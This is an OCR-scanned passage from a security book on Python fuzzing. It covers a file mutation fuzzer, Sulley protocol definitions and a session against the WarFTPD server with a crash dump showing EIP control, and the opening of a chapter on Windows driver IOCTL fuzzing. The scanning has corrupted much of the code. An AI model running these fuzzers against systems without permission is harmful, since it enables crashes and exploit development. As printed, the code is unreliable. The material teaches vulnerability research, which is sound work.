return DBG_EXCEPTION_NOT_HANDLED
# This is our monitoring function that allows the application
# to run for a few seconds and then it terminates it
def monitor_debugger(self) :
counter = 0
print "[*] Monitor thread for pid: %d waiting." % self. pid,
while counter < 3:
time.sleep(l)
print counter,
counter += 1
if self .in_accessv_handler != True:
time.sleep(l)
self . dbg . terminate_process ( )
self. pid = None
self. running = False
else:
print "[*] The access violation handler is doing
its business. Waiting."
while self .running:
time.sleep(l)
# Our emailing routine to ship out crash information
def notify(self) :
crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration:
%d\n\nOutput: \n\n %s" %
(self .sender, self . iteration, self. crash)
session = smtplib.SMTP(smtpserver)
session. sendmail(sender, recipients, crash_message)
session. quitQ
return
We now have the main logic for controlling the application being
fuzzed, so let’s walk through the fuzz function briefly. The first step O is
to check to make sure that a current fuzzing iteration isn’t already running.
The self .running flag also will be set if the access violation handler is busy
compiling a crash report. Once we have selected a document to mutate, we
pass it off to our simple mutation function ©, which we will be writing shortly.
Once the file mutator is finished, we start our debugger thread ©, which
merely fires up the document-parsing application and passes in the mutated
document as a command-line argument. We then wait in a tight loop for the
debugger thread to register the PID of the target application. Once we have
the PID, we spawn the monitoring thread © whose job is to make sure that
we kill the application after a reasonable amount of time. Once the moni-
toring thread has started, we increment the iteration count and reenter our
main loop until it’s time to pick a new file and fuzz again! Now let’s add our
simple mutation function into the mix.
filefuzzer.py
def mutate_file( self ):
# Pull the contents of the file into a buffer
Fuzzing
119
fd = open("test.%s" % self. ext, "rb")
stream = fd.readQ
fd.close()
# The fuzzing meat and potatoes, really simple
# Take a random test case and apply it to a random position
# in the file
O test_case = self .test_cases[random.randint(o,len(self ,test_cases)-l)]
© stream_length = len(stream)
rand_offset = random. randint(o, streamJLength - 1 )
randJLen = random. randint(l, 1000)
# Now take the test case and repeat it
test_case = test_case * randJLen
# Apply it to the buffer, we are just
# splicing in our fuzz data
© fuzz_file = stream[0:rand_offset]
fuzz_file += str(test_case)
fuzz_file += stream [rand_off set:]
# Write out the file
fd = open("test.%s" % self. ext, "wb")
fd.write( fuzz_file )
fd.closeQ
return
This is about as rudimentary a mutator as you can get. We randomly select
a test case from our global test case list O; then we pick a random offset and
fuzz data length to apply to the file ©. Using the offset and length information,
we then slice into the file and do the mutation ©. When we’re finished, we
write out the file, and the debugger thread will immediately use it to test the
application. Now let’s wrap up the fuzzer with some command-line parameter
parsing, and we’re nearly ready to start using it.
filefuzzer.py
def print_usage() :
print "[*]"
print "[*] file_fuzzer.py -e Executable Path> -x <File Extension)
print "[*]"
sys.exit(o)
if name == " main
print "[*] Generic File Fuzzer."
1 20 Chapter 8
# This is the path to the document parser
# and the filename extension to use
try:
opts, argo = getopt.getopt(sys.argv[l:],"e:x:n")
except getopt.GetoptError:
print_usage()
exe_path = None
ext = None
notify = False
for o,a in opts:
if o == "-e" :
exe_path = a
elif o == "-x":
ext = a
elif o == "-n" :
notify = True
if exe_path is not None and ext is not None:
fuzzer = file_fuzzer( exe_path, ext, notify )
fuzzer. fuzz()
else:
print_usage()
We now allow the file_fuzzer.py script to receive some command-line
options. The -e flag is the path to the target application’s executable. The -x
option is the filename extension we are testing; for instance, .txt would be
the file extension we could enter if that’s the type of file we are fuzzing. The
optional -n parameter tells the fuzzer whether we want notifications enabled
or not. Now let’s take it for a quick test drive.
The best way that I have found to test whether my file fuzzer is working
is by watching the results of my mutation in action while testing the target
application. There is no better way than to fuzz text files than to use Windows
Notepad as the test application. This way you can actually see the text change
in each iteration, as opposed to using a hex editor or binary diffing tool.
Before you get started, create an examples directory and a crashes directory, in
the same directory from where you are running the file_fuzzei:py script. Once
you have added the directories, create a couple of dummy text files and
place them in the examples directory. To fire up the fuzzer, use the follow-
ing command line:
python file_fuzzer.py -e C:\\WIND0WS\\system32\\notepad.exe -x .txt
You should see Notepad get spawned, and you can watch your test files get
mutated. Once you are satisfied that you are mutating the test files appro-
priately, you can take this file fuzzer and run it against any target application.
Let’s wrap up with some future considerations for this fuzzer.
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121
8.3 Future Considerations
Although we have created a fuzzer that may find some bugs if given enough
time, there are some improvements you could apply on your own. Think of
this as a possible homework assignment.
8.3. 1 Code Coverage
Code coverage is a metric that measures how much code you execute when
testing a target application. Fuzzing expert Charlie Miller has empirically
proven that an increase in code coverage will yield an increase in the number
of bugs you find.- We can’t argue with that logic! A simple way for you to
measure code coverage is to use any of the aforementioned debuggers and
set soft breakpoints on all functions within the target executable. Simply
keeping a counter of how many functions get hit with each test case will give
you an idea of how effective your fuzzer is at exercising code. There are much
more complex examples of using code coverage, which you are free to explore
and apply to your file fuzzer.
8.3.2 Automated Static Analysis
Automated static analysis of a binary to find hot spots in the target code can
be extremely useful for a bughunter. Something as simple as tracking down
all calls to commonly misused functions (such as strcpy) and monitoring
them for hits can yield positive results. More advanced static analysis could
also assist in tracking down inline memory copy operations, error routines
you wish to ignore, and many other possibilities. The more your fuzzer knows
about the target application, the better your chance of finding bugs.
These are just some of the improvements you can make to the file fuzzer
we created or apply to any fuzzer you build in the future. When you’re build-
ing your own fuzzer, it’s imperative that you build it so that it’s extensible
enough to add functionality later on. You will be surprised at how often you
will pull the same fuzzer out over time, and you will thank yourself for a little
front-end design work to make sure it can be easily altered in the future. Now
that we have created a simple file fuzzer ourselves, it’s time to move on to
using Sulley, a Python-based fuzzing framework created by Pedram Amini
and Aaron Portnoy of TippingPoint. After that we will dive into a fuzzer I
wrote called ioctlizer, which is designed to find bugs in the I/O control
routines that a lot of Windows drivers employ.
2 Charlie gave an excellent presentation at CanSecWest 2008 that illustrates the importance of
code coverage when bughunting. See http://cansecwest.com/csw08/csw08-miller.pdf. This paper was
part of a larger body of work Charlie co-authored. See Ari Takanen, Jared DeMott, and Charlie
Miller, Fuzzing for Software Security Testing and Quality Assurance (Artech House Publishers, 2008).
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Chapter 8
SULLEY
Named after the big, fuzzy, blue monster in the movie
Monsters, Inc., Sulley is a potent Python-based fuzzing
framework developed by Pedram Amini and Aaron
Portnoy of TippingPoint. Sulley is more than just a
fuzzer; it comes packed with packet-capturing capabilities, extensive crash
reporting, and VMWare automation. It also is able to restart the target applica-
tion after a crash has occurred so that the fuzzing session can carry on hunting
for bugs. In short, Sulley is badass.
For data generation, Sulley uses block-based fuzzing, the same method
as Dave Aitel’s SPIKE , 1 the first public fuzzer to use this approach. In block-
based fuzzing you describe the general skeleton of the protocol or file format
you are fuzzing, assigning lengths and datatypes to fields that you wish to fuzz.
The fuzzer then takes its internal list of test cases and applies them in vary-
ing ways to the protocol skeleton that you create. It has proven to be a very
effective means for finding bugs because the fuzzer gets inside knowledge
beforehand about the protocol it is fuzzing.
1 For the SPIKE download, go to http://immunityinc.com/resources-freesoftware.shtml.
To start we will go through the necessary steps to get Sulley installed
and working. Then we’ll cover Sulley primitives, which are used to create a
protocol description. Next we’ll move right into a full fuzzing run, com-
plete with packet capturing and crash reporting. Our fuzzing target will be
WarFTPD, an FTP daemon vulnerable to a stack-based overflow. It is common
for fuzzer writers and testers to take a known vulnerability and see if their
fuzzer finds the bug or not. In this case we are going to use it to illustrate how
Sulley handles a successful fuzzing run from start to finish. Don’t hesitate to
refer to the Sulley manual 2 that Pedram and Aaron wrote, as it has detailed
walkthroughs and an extensive reference for the whole framework. Let’s get
fuzzy!
9.1 Sulley Installation
Before we dig into the nuts and bolts of Sulley, we first have to get it installed
and working. I have provided a zipped copy of the Sulley source code for
download at http://www. nostarch, com/ ghpython. htm.
Once you have the zip file downloaded, extract it to any location you
choose. From the extracted Sulley directory, copy the sulley, utils, and requests
folders to C:\Python25\l ,ib\silep)ackages\. This is all that is required to get the
core of Sulley installed. There are a few more prerequisite packages that we
must install, and then we’re ready to rock.
The first required package is WinPcap, which is the standard library to
facilitate packet capture on Windows-based machines. WinPcap is used by all
kinds of networking tools and intrusion-detection systems, and it is a require-
ment in order for Sulley to record network traffic during fuzzing runs. Simply
download and execute the installer from http://www.winpcap.org/install/bin/
WinPcap_4_ 0_2. exe.
Once you have WinPcap installed, there are two more libraries to install:
pcapy and impacket, both provided by CORE Security. Pcapy is a Python inter-
face to the previously installed WinPcap, and impacket is a packet-decoding-
and-creation library also written in Python. To install pcapy, download and
execute the installer provided at http://oss.coresecurity.com/repo/pcapy-0. 10.5
. ivin32-py2. 5. exe.
Once pcapy is installed, download the impacket library from http://oss
.coresecwity.com/repo/Impacket-stable.zip. Extract the zip file to your C:\directory,
change into the impacket source directory, and execute the following:
C:\Impacket-stable\Impacket-0, 9 . 6 . 0>C: \Python25\python.exe setup. py install
This will install impacket into your Python libraries, and you are now
fully set up to begin using Sulley.
" To download the Sulley: Fuzzing Framework manual, go to http://wwuKfu2zing.org/wp-c0ntmt/
SulleyManual.pdf.
1 24 Chapter 9
9.2 Sulley Primitives
When first targeting an application, we must define all of the building
blocks that will represent the protocol we are fuzzing. Sulley ships with a
whole host of these data formats, which enable you to quickly create both
simple and advanced protocol descriptions. These individual data components
are called primitives. We will briefly cover the primitives required to thoroughly
fuzz the WarFTPD server. Once you have a firm grasp on how to use the basic
primitives effectively, you can move onto other primitives with ease.
9.2. 1 Strings
Strings are by far the most common primitive that you will use. Strings are
everywhere; usernames, IP addresses, directories, and many more things can
be represented by strings. Sulley uses the s_string() directive to denote that
the data contained within the primitive is a fuzzable string. The main argu-
ment that the s_string() directive takes is a valid string value that would be
accepted as normal input for the protocol. For instance, if we were fuzzing
an entire email address, we could use the following:
s_string(" justin@immunityinc.com")
This tells Sulley that justin@immunityinc.com is a valid value, so it will
fuzz that string until it exhausts all reasonable possibilities, and when it has
exhausted them it will revert to using the original valid value you define.
Some possible values that Sulley could generate using my email address look
like this:
justin@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
just in@%n%n%n%n%n%n . com
%d%d%d@immunityinc .comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
9.2.2 Delimiters
Delimiters are nothing more than small strings that help break larger strings
into manageable pieces. Using our previous example of an email address, we
can use the s_delim() directive to further fuzz the string we are passing in:
s_string("justin")
s_delim("@")
s_string("immunityinc")
s_delim(" . " ,fiizzable=False)
s_string("com")
Sulley 125
You can see how we have broken the email address into some subcom-
ponents and told Sulley that we don’t want the dot ( . ) fuzzed in this particular
circumstance, but we do want to fuzz the @ delimiter.
9.2.3 Static and Random Primitives
Sully ships with a way for you to pass in strings that will either be unchanging
or mutated with random data. To use a static unchanging string, you would
use the format shown in the following examples.
s_static("Hello, world ! ")
s_static("\x4l\x4l\x4l")
To generate random data of varying lengths, you use the s_random()
directive. Note that it takes a couple of extra arguments to help Sulley deter-
mine how much data should be generated. The min_length and maxJLength
arguments tell Sulley the minimum and maximum lengths of the data to
create for each iteration. An optional argument that can also be useful is the
num_mutations argument, which tells Sulley how many times it should mutate
the string before reverting to the original value; the default is 2,5 iterations.
An example would be:
s_random("Dustin",min_length=6, max_length=256, num_mutations=lo)
In our example we would generate data of random values that would be
no shorter than 6 bytes and no longer than 256 bytes. The string would be
mutated 10 times before reverting back to “Justin.”
9.2.4 Binary Data
The binary data primitive in Sulley is like the Swiss Army knife of data
representation. You can copy and paste almost any binary data into it and have
Sulley recognize and fuzz it for you. This is especially useful when you have a
packet capture for an unknown protocol, and you just want to see how the
server responds to semiformed data being thrown at it. For binary data we
use the s_binary() directive, like so:
s_binary("0x00 Wx4l\\x42\\x43 0d 0a Od 0a")
It will recognize all of those formats accordingly and use them like any
other string during the fuzzing run.
9.2.5 Integers
Integers are everywhere and are used in both plaintext and binary protocols
to determine lengths, represent data structures, and all kinds of great stuff.
126
Chapter 9
Sulley supports all of the major integer types; refer to Listing 9-1 for a quick
reference.
1 byte - s_byte(), s_char()
2 bytes - s_word(), s_short()
4 bytes - s_dword(), s_long(), s_int()
8 bytes - s_qword(), s_double()
Listing 9-1 : Various integer types supported by Sulley
All of the integer representations also take some important optional key-
words. The endian keyword specifies whether the integer should be represented
in little- (<) or big- (>) endian format; the default is little endian. The format
keyword has two possible values, ascii or binary; this determines how the
integer value is used. For example, if you had the number 1 in ASCII format,
it would be represented as \x3l in binary format. The signed keyword specifies
whether the value is a signed integer or not. This is applicable only when you
specify ascii as the value for the format argument; it is a boolean value and
defaults to False. The last optional argument of interest is the boolean flag
full_range, which specifies whether Sulley should iterate through all possible
values for the integer you’re fuzzing. Use this flag judiciously, because it can
take a very long time to iterate through all values for an integer, and Sulley is
intelligent enough to test the border values (values that are close or equal to
the very highest and very lowest possible values) when using integers. For
example, if the highest value an unsigned integer can have is 65,535, then
Sulley may try 65,534, 65,535, and 65,536 to exercise these border values. The
default value for the full_range keyword is False, which means you leave it up
to Sulley to exercise the integer values itself, and it’s generally best to leave it
this way. Some example integer primitives are as follows:
s_word(Oxl234, endian=">", fuzzable=False)
s_dword(OxDEADBEEF, format="ascii" , signed=True)
In the first example we set a 2-byte word value to 0x1234, Hip its endianness
to big endian, and leave it as a static value. In the second example we set a
4-byte DWORD (double word) value to OxDEADBEEF and make it a signed ASCII
integer value.
9.2.6 Blocks and Groups
Blocks and groups are powerful features that Sulley provides to chain together
primitives in an organized fashion. Blocks are a means to take sets of individ-
ual primitives and nest them into a single organized unit. Groups are a way
to chain a particular set of primitives to a block so that each primitive can be
cycled through on each fuzzing iteration for that particular block.
Sulley 127
The Sulley manual offers this example of an HTTP fuzzing run using
blocks and groups:
# import all of Sulley 's functionality,
from sulley import *
# this request is for fuzzing: {GET, HEAD, POST, TRACE} /index. html HTTP/1.1
# define a new block named "HTTP BASIC".
s_initialize("HTTP BASIC")
# define a group primitive listing the various HTTP verbs we wish to fuzz.
s_group("verbs", values=["GET", "HEAD", "POST", "TRACE"])
# define a new block named "body" and associate with the above group,
if s_block_start("body", group="verbs") :
# break the remainder of the HTTP request into individual primitives.
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("l")
s_delim(".")
s_string("l")
# end the request with the mandatory static sequence.
s_static("\r\n\r\n")
# close the open block, the name argument is optional here.
s_block_end("body")
We see that the TippingPoint fellas have defined a group named verbs
that has all of the common HTTP request types in it. Then they defined a
block called body, which is tied to the verbs group. This means that for each
verb (GET, HEAD, POST, TRACE), Sulley will iterate through all mutations of the
body block. Thus Sulley produces a very thorough set of malformed HTTP
requests involving all the primary HTTP request types.
We have now covered the basics and can get started with a fuzzing
run using Sulley. Sulley comes packed with many more features, including
data encoders, checksum calculators, automatic data sizers, and more. For
a more comprehensive walk-through of Sulley and more fuzzing-related
material, refer to the fuzzing book that Pedrarn co-authored, Fuzzing: Brute
Force Vulnerability Discovery (Addison-Wesley, 2007) . Now let’s start creating a
fuzzing run that will bust WarFTPD. We’ll first create our primitive sets and
then move into building the session that is responsible for driving the tests.
1 28 Chapter 9
9.3 Slaying WarFTPD with Sulley
Now that you have a basic understanding of how to create a protocol descrip-
tion using Sulley primitives, let’s apply it to a real target, WarFTPD 1.65,
which has a known stack overflow when passing in overly long values for the
USER or PASS commands. Both of those commands are used to authenticate
an FTP user to the server so that the user can perform file transfer operations
on the host the server daemon is running on. Download WarFTPD from
ftp://ftp.jgaa. com/pub /products, /Windows/WarFtpDaemon/ 1. 6_Seri.es/ward 165 .exe.
Then run the installer. It will unzip the WarFTPD daemon into the current
working directory; you simply have to run iuarftpd.exe to get the server going.
Let’s take a quick look at the FTP protocol so that you understand the basic
protocol structure before applying it in Sulley.
9.3.1 FTP 101
FTP is a very simple protocol that’s used to transfer data from one system to
another. It is widely deployed in a variety of environments from web servers
to modern networked printers. By default an FTP server listens on TCP port 21
and receives commands from an FTP client. We will be acting as an FTP client
that will be sending malformed FTP commands in an attempt to break our
target FTP server. Even though we will be testing WarFTPD specifically, you
will be able to take our FTP fuzzer and attack any FTP server you want!
An FTP server is configured to either allow anonymous users to connect to
the server or force users to authenticate. Because we know that the WarFTPD
bug involves a buffer overflow in the USER and PASS commands (both of which
are used for authentication), we are going to assume that authentication is
required. The format for these FTP commands looks like this:
USER <USERNAME>
PASS <PASSW0RD>
Once you have entered a valid username and password, the server
will allow you to use a full set of commands for transferring files, changing
directories, querying the filesystem, and much more. Since the USER and PASS
commands are only a small subset of the FTP server’s full capabilities, let’s
throw in a couple of commands to test for some more bugs once we are
authenticated. Take a look at Listing 9-2 for some additional commands
we will include in our protocol skeleton. To gain a full understanding of all
commands supported by the FTP protocol, please refer to its RFC. 3
CI/JD <DIRECTORY> - change working directory to DIRECTORY
DELE <FILENAME> - delete a remote file FILENAME
MDTM <FILENAME> - return last modified time for file FILENAME
MKD <DIRECTORY> - create directory DIRECTORY
Listing 9-2: Additional FTP commands we are going to fuzz
3 See RFC959 — File Transfer Protocol (http://xmm.faqs.org/rfcs/rfc959.htmT) .
Sulley 129
It’s a far from an exhaustive list, but it gives us some additional coverage,
so let’s take what we know and translate it into a Sulley protocol description.
9.3.2 Creating the FTP Protocol Skeleton
We’ll use our knowledge of Sulley data primitives to turn Sulley into a lean,
mean FTP server-breaking machine. Warm up your code editor, create a
new file called ftp-py, and enter the following code.
ftp-py
from sulley import *
s_initialize("user")
s_static("USER")
s_delim(" ")
s_string("justin")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")
s_delim(" ")
s_string("justin")
s_static("\r\n")
s_initialize("cwd")
s_static("CWD")
s_delim(" ")
s_string("c: ")
s_static("\r\n")
s_initialize("dele")
s_static("DELE")
s_delim(" ")
s_string("c: Wtest.txt")
s_static("\r\n")
s_initialize("mdtm")
s_static("MDTM")
s_delim(" ")
s_string("C: Wboot.ini")
s_static("\r\n")
s_initialize("mkd")
s_static("MKD")
s_delim(" ")
s_string("C: WTESTDIR")
s_static("\r\n")
With the protocol skeleton now created, let’s move on to creating a
Sulley session that will tie together all of our request information as well as
set up the network sniffer and the debugging client.
1 30 Chapter 9
9.3.3 Sulley Sessions
Sulley sessions are the mechanism that ties together requests and takes
care of the network packet capture, process debugging, crash reporting, and
virtual machine control. To begin, let’s define a sessions file and dissect the
various parts. Crack open a new Python file, name it ftp_session.py, and enter
the following code.
ftp_ session.py
from sulley import *
from requests import ftp # this is our ftp.py file
O def receive_ftp_banner(sock) :
sock.recv(l024)
© sess = sessions. session(session_filename="audits/warftpd. session")
© target = sessions. target("l92. 168. 244. 133", 21)
© target. netmon = pedrpc.client("l92.l68.244.l33", 26001)
© target. procmon = pedrpc.client("l92.l68.244.l33", 26002)
target. procmon_options = { "proc_name" : "war-ftpd.exe" }
# Here we tie in the receive_ftp_banner function which receives
# a socket. socket () object from Sulley as its only parameter
sess.pre_send = receive_ftp_banner
© sess . add_target (target )
© sess . connect (s_get ( "user" ) )
sess . connect (s_get ( "user " ) , s_get ( " pass " ) )
sess . connect (s_get ( " pass " ) , s_get ( " cwd " ) )
sess . connect (s_get ( " pass " ) , s_get ( " dele" ) )
sess . connect (s_get ( " pass " ) , s_get ( "mdtm" ) )
sess . connect (s_get ( " pass " ) , s_get ( "mkd " ) )
sess.fuzzQ
The receive_ftp_banner() function O is necessary because every FTP
server has a banner that it displays when a client connects. We tie this to the
sess.pre_send property, which tells Sulley to receive the FTP banner before
sending any fuzz data. The pre_send property also passes in a valid Python
socket object, so our function takes that as its only parameter. The first step
in creating the session is to define a session file © that keeps track of the
current state of our fuzzer. This persistent file allows us to start and stop the
fuzzer whenever we please. The second step © is to define a target to attack,
which is an IP address and a port number. We are attacking 192.168.244.133
and port 21, which is our WarFTPD instance (running inside a virtual machine
in this case). The third entry © tells Sulley that our network sniffer is set up
on the same host and is listening on TCP port 26001, which is the port on
which it will accept commands from Sulley. The fourth © tells Sulley that our
debugger is listening at 192.168.244.133 as well but on TCP port 26002;
again Sulley uses this port to send commands to the debugger. We also pass
in an additional option to tell the debugger that the process name we are
Sulley 131
interested in is war-ftpd.exe. We then add the defined target to our parent
session ©. The next step © is to tie our FTP requests together in a logical
fashion. You can see how we chain together the authentication commands
(USER, PASS), and then any commands that require the user to be authenticated
we chain to the PASS command. Finally, we tell Sulley to start fuzzing.
Now we have a fully defined session with a nice set of requests, so let’s see
how to set up our network and monitor scripts. Once we have finished doing
that, we’ll be ready to fire up Sulley and see what it does against our target.
9.3.4 Network and Process Monitoring
One of the sweetest features of Sulley is its ability to monitor fuzz traffic on
the wire as well as handle any crashes that occur on the target system. This is
extremely important, because you can map a crash back to the actual network
traffic that caused it, which greatly reduces the time it takes to go from crash
to working exploit.
Both the network- and process-monitoring agents are Python scripts that
ship with Sulley and are extremely easy to run. Let’s start with the process
monitor, process_monitor.py, which is located in the main Sulley directory.
Simply run it to see the usage information:
python processjnonitor.py
Output:
ERR> USAGE: processjnonitor.py
<-c|--crash bin FILENAME> filename to serialize crash bin class to
[-p|--proc_name NAME]
[-i| --ignore_pid PID]
[-l|--log_level LEVEL]
[--port PORT]
process name to search for and attach to
ignore this PID when searching for the
target process
log level (default l), increase for more
verbosity
TCP port to bind this agent to
We would run the process_monitor.py script with the following command-
line arguments:
python processjnonitor.py -c C:\warftpd.crash -p war-ftpd.exe
NOTE By default it binds to TCP port 26002, so we don 't use the - -port option.
Now we are monitoring our target process, so let’s take a look at
network_monitor.py. It requires a couple of prerequisite libraries, namely
WinPcap 4.0, 4 pcapy, 5 and impacket, 6 which all provide installation instruc-
tions at their download locations.
4 Tire WinPcap 4.0 download is available at http://xvww.winpcap.org/install/bin/WinPcap_4_0_2.exe.
5 See CORE Security pcapy (http://oss.coresecurity.eom/repo/pcapy-0.10.5.iuin32-py2.5.exe).
fl Impacket is a requirement for pcapy to function: see http://oss.coresectirity.com/repo/lmpachet-0
. 9. 6. 0.zip.
1 32 Chapter 9
python networkjnonitor.py
Output:
ERR> USAGE: networkjnonitor.py
<-d | --device DEVICE #> device to sniff on (see list below)
[-f | --filter PCAP FILTER] BPF filter string
[-P|--log_path PATH] log directory to store pcaps to
[-l|--log_level LEVEL] log level (default l ) , increase for more verbosity
[--port PORT] TCP port to bind this agent to
Network Device List:
[o] \Device\NPF_GenericDialupAdapter
O [l] {83071A13-14A7-468C-B27E-24D47CB8E9A4} 192.168.244.133
As we did widi die process-monitoring script, we just need to pass this
script some valid arguments. We see that the network interface we want to
use O is set to [1] in the output. We’ll pass this in when we specify the
command-line arguments to network_monitor.py, as shown here:
python networkjnonitor.py -d 1 -f "src or dst port 21" -P C:\pcaps\
NOTE You have to create C:\pcaps before running the network monitor. Choose an easy-to-
remember directory name.
We now have both monitoring agents running, and we are ready for
fuzzing action. Let’s get the party started.
9.3.5 Fuzzing and the Sulley Web Interface
Now we are actually going to fire up Sulley, and we’ll use its built-in web
interface to keep an eye on its progress. To begin, run ftp_session.py, like so:
python ftp_session.py
It will begin producing output, as shown here:
[07:42.47] current fuzz path: -> user
[07:42.47] fuzzed 0 of 6726 total cases
[07:42.47] fuzzing 1 of 1121
[07:42.47] xmitting: [1.1]
[07:42.49] fuzzing 2 of 1121
[07:42.49] xmitting: [1.2]
[07:42.50] fuzzing 3 of 1121
[07:42.50] xmitting: [1.3]
If you see this type of output, then life is good. Sulley is busily sending
data to the WarFTPD daemon, and if it hasn’t reported any errors, then it is
also successfully communicating with our monitoring agents. Now let’s take a
peek at the web interface, which gives us some more information.
Sulley 133
Open your favorite web browser and point it to http:// 127.0.0. 1:26000.
You should see a screen that looks like the one in Figure 9-1.
Sulley Fuzz Control
RUNNING
Total: 29 of 6,726 [
] 0.431%
user: 29 of 1,121 [ =
] 2.587%
Pause
Resume
Test Case# Crash Synopsis
Captured Bytes
Figure 9- 1 : The Sulley web interface
To see updates to the web interface, refresh your browser, and it will
continue to show which test case it is on as well as which primitive it is currently
fuzzing. In Figure 9-1 you can see that it is fuzzing the user primitive, which
we know should produce a crash at some point. After a short time, if you
keep refreshing your browser, you should see the web interface display
something very similar to Figure 9-2.
Sulley Fuzz Control
RUNNING
Total: 439 of 6,726 [ =
user: 439 of 1,121 [ =
] 6.527%
] 39.161%
Test Case# Crash Synopsis
[I NVALID]:5c5c5c5c Unable to disassemble at 5c5c5c5c from thread 252 caused access violation
[I NVALI D]:5c5c5c5c Unable to disassemble at 5c5c5c5c from thread 1 372 caused access violation
Captured Bytes
Figure 9-2: Sulley web interface displaying some crash information
Sweet! We managed to crash WarFTPD, and Sulley has trapped all
the pertinent information for us. In both test cases we see that it couldn’t
disassemble at Ox 5 c 5 c 5 c 5 c. The individual byte 0 x 5 c represents the ASCII \
character, so it’s safe to assume we have completely overwritten the buffer
with a sequence of \ characters. When our debugger started disassembling at
the address that EIP points to, it failed, since Ox5c5c5c5c is not a valid address.
This clearly demonstrates EIP control, which means we have found an exploit-
able bug! Don’t get too excited, because we found a bug that we already knew
was there. But this shows that our Sulley skills are good enough that we can
now apply these FTP primitives to other targets and possibly find new bugs!
Now if you click on the test case number, you should see some more
detailed crash information, as shown in Listing 9-3.
PyDbg crash reporting was covered in “Access Violation Handlers” on
page 60. Refer to that section for an explanation of the values you see.
134
Chapter 9
[INVALID] : 5c5c5c5c Unable to disassemble at 5c5c5c5c from thread 252
caused access violation
when attempting to read from Ox5c5c5c5c
CONTEXT DUMP
EIP: 5c5c5c5c Unable to disassemble at 5c5c5c5c
EAX: OOOOOOOl ( 1) -> N/A
EBX: 5f4a9358 (1598722904) -> N/A
ECX: OOOOOOOl ( 1) -> N/A
EDX: 00000000 ( 0) -> N/A
EDI: 00000111 ( 273) -> N/A
ESI: 008a64fO ( 9069808) -> PC (heap)
EBP: OOa6fb9c ( 10943388) -> BX3_\ ' CD@U=@_@N=@_@NsA_@N0GrA_@N*A_0_C@N0
Ct A 3_(8_0_C(5>N (stack)
ESP: 00a6fb44 ( 10943300) -> ,,,,,,,,,,,,,,,,,, cntr User from
192.168.244.128 logged out (stack)
+00: 5C5C5C5C ( 741092396) -> N/A
+04: 5C5C5C5C ( 741092396) -> N/A
+08: 5C5C5C5C ( 741092396) -> N/A
+0c: 5C5C5C5C ( 741092396) -> N/A
+10: 20205C5C ( 538979372) -> N/A
+14: 72746e63 (1920233059) -> N/A
disasm around:
Ox5c5c5c5c Unable to disassemble
stack unwind:
war-ftpd.exe:0042e6fa
MFC42.DLL: 5f403dOe
MFC42. DLL: 5f417247
MFC42. DLL: 5f412adb
MFC42. DLL: 5f401bfd
MFC42.DLL: 5f401blc
MFC42.DLL: 5f401a96
MFC42. DLL: 5f401a20
MFC42.DLL: 5f4019ca
USER32 . dll : 77d48709
USER32 . dll : 77d487eb
USER32 . dll : 77d489a5
USER32 . dll : 77d4bccc
MFC42.DLL: 5f401l6f
SEH unwind:
00a6fcf4 -> war-ftpd.exe:0042e38c mov eax,Ox43e548
OOa6fd84 -> MFC42.DLL:5f4lccfa mov eax,Ox5f4be868
00a6fdcc -> MFC42.DLL:5f4lcc85 mov eax,Ox5f4be6cO
OOa6fe5c -> MFC42.DLL:5f4lcc4d mov eax,Ox5f4be3d8
00a6febc -> USER32.dll:77d70494 push ebp
OOa6ff74 -> USER32 . dll: 77d70494 push ebp
00a6ffa4 -> MFC42.DLL:5f424364 mov eax,Ox5f4c23bO
00a6ffdc -> MSVCRT.dll:77c35c94 push ebp
ffffffff -> kernel32.dll:7c8399f3 push ebp
Listing 9-3: Detailed crash report for test case #437
Sulley 135
We have explored some of die main functionality that Sulley offers and
covered a subset of the utility functions that it provides. Sulley also ships with
a myriad of utilities that can assist you in sifting through crash information,
graphing data primitives, and much more. You have now slayed your first
daemon using Sulley, and it should become a key part of your bug-hunting
arsenal. Now that you know how to fuzz remote servers, let’s move on to
fuzzing locally against Windows-based drivers. We’ll be creating our own
this time.
136
Chapter 9
10
FUZZING WINDOWS DRIVERS
Attacking Windows drivers is becoming commonplace
for bug hunters and exploit developers alike. Although
there have been some remote attacks on drivers in
the past few years, it is far more common to use a local
attack against a driver to obtain escalated privileges on
the compromised machine. In the previous chapter, we used Sulley to find a
stack overflow in WarFTPD. What we didn’t know was that the WarFTPD
daemon was running as a limited user, essentially the user that had started
the executable. If we were to attack it remotely, we would end up with only
limited privileges on the machine, which in some cases severely hinders what
kind of information we can steal from that host as well as what services we
can access. If we had known there was a driver installed on the local machine
that was vulnerable to an overflow 1 or impersonation 2 attack, we could have
used that driver as a means to obtain System privileges and have unfettered
access to the machine and all itsjuicy information.
1 See Kostya Kortchinsky, “Exploiting Kernel Pool Overflows” (2008), http://immunityinc.com/
downloads /KemelPool. odp.
2 See Justin Seitz, “I20MGMT Driver Impersonation Attack” (2008), http://immunityinc.com/
downloads /DriverImpersonationAttack_i2omgmt. pdf.
In order for us to interact with a driver, we need to transition between
user mode and kernel mode. We do this by passing information to the driver
using input/output controls (IOCTLs), which are special gateways that allow user-
mode services or applications to access kernel devices or components. As
with any means of passing information from one application to another, we
can exploit insecure implementations of IOCTL handlers to gain escalated
privileges or completely crash a target system.
We will first cover how to connect to a local device that implements
IOCTLs as well as how to issue IOCTLs to the devices in question. From
there we will explore using Immunity Debugger to mutate IOCTLs before
they are sent to a driver. Next we’ll use the debugger’s built-in static analysis
library, driverlib, to provide us with some detailed information about a target
driver. We’ll also look under the hood of driverlib and learn how to decode
important control Hows, device names, and IOCTL codes from a compiled
driver file. And finally we’ll take our results from driverlib to build test cases
for a standalone driver fuzzer, loosely based on a fuzzer I released called
ioctlizer. Let’s get started.
10.1 Driver Communication
Almost every driver on a Windows system registers with the operating system
with a specific device name and a symbolic link that enables user mode to
obtain a handle to the driver so that it can communicate with it. We use the
CreateFileW 3 call exported from kemel32.dll to obtain this handle. The function
prototype looks like the following:
HANDLE WINAPI CreateFileW(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES IpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
The first parameter is the name of the file or device that we wish to
obtain a handle to; this will be the symbolic link value that our target driver
